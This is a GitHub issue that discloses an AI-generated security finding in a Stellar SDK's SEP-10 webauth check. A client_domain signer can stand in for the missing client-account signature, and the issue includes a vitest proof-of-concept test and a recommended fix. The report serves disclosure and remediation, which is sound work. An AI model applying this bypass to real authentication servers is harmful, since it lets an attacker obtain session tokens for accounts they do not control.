Skip to content

[AI Security] Medium: client_domain signer inflates signersFound, bypassing client-account requirement in verifyChallengeTxSigners() #1354

@sagpatil

Description

@sagpatil

Security Finding: client_domain signer inflates signersFound, bypassing client-account requirement

Subsystem: webauth
Severity: Medium
Model Attribution: claude-sonnet-4.6, default


Impact

SEP-10 integrations that call verifyChallengeTxSigners() directly can accept a challenge signed only by the server and client_domain signer, even when no signer of the client account signed the challenge. The function returns [] instead of throwing, allowing an integration that doesn't separately reject an empty signer list to issue a session token without proof of control over the client account.

Root Cause

verifyChallengeTxSigners() treats signersFound.length === 1 as the only "no client signature" case. That is only correct when the transaction contains no client_domain operation. When a client_domain operation is present, the function adds the clientSigningKey to allSigners, so a challenge signed by the server and client-domain signer produces signersFound = [server, clientSigningKey]. The hardcoded length check then passes, both non-client signers are removed from the result, and the function returns [] instead of throwing.

Attack Vector

A server that supports SEP-10 client_domain verification issues a challenge containing a client_domain Manage Data operation. A malicious or compromised client application that controls the corresponding clientSigningKey signs the challenge with that key but omits any signature from the user's Stellar account. If the server integration relies on verifyChallengeTxSigners() succeeding without also checking that the returned signer list is non-empty, the SDK treats the challenge as valid and the integration can issue a session token without proof of control over the client account.

This does not affect integrations that use verifyChallengeTxThreshold() with a positive threshold, or direct callers that separately reject [], so the impact is narrower than a universal bypass.

PoC

import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { StellarSdk } from "../test-utils/stellar-sdk-import";

const { WebAuth } = StellarSdk;

describe("Security PoC - client_domain signer bypass", () => {
  beforeEach(() => {
    vi.useFakeTimers({ now: 0 });
  });

  afterEach(() => {
    vi.useRealTimers();
  });

  it("returns success with no client signer when only the client_domain signer co-signs", () => {
    const serverKP = StellarSdk.Keypair.random();
    const clientKP = StellarSdk.Keypair.random();
    const walletKP = StellarSdk.Keypair.random();

    const challenge = WebAuth.buildChallengeTx(
      serverKP,
      clientKP.publicKey(),
      "example.com",
      300,
      StellarSdk.Networks.TESTNET,
      "auth.example.com",
      null,
      "wallet.app",
      walletKP.publicKey(),
    );

    vi.advanceTimersByTime(200);

    const transaction = new StellarSdk.Transaction(
      challenge,
      StellarSdk.Networks.TESTNET,
    );

    transaction.sign(walletKP);

    const signedChallenge = transaction.toEnvelope().toXDR("base64").toString();

    const signersFound = WebAuth.verifyChallengeTxSigners(
      signedChallenge,
      serverKP.publicKey(),
      StellarSdk.Networks.TESTNET,
      [clientKP.publicKey()],
      "example.com",
      "auth.example.com",
    );

    expect(signersFound).toEqual([]);
  });
});

Recommendation

Require at least one signature from the caller-provided client signer set after accounting for the server and optional clientSigningKey. A safe fix is to count matched client-account signers separately or to remove the server and optional clientSigningKey from signersFound before the "no client signatures" check. Add a regression test for the case where only the client_domain signer co-signs.


This issue was generated by an AI security analysis pipeline.

Metadata

Metadata

Assignees

No one assigned

    Labels

    ai-generatedGenerated by AI security analysis pipelinesecuritySecurity vulnerability or concern

    Type

    No type
    No fields configured for issues without a type.

    Projects

    Status
    Backlog (Not Ready)

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions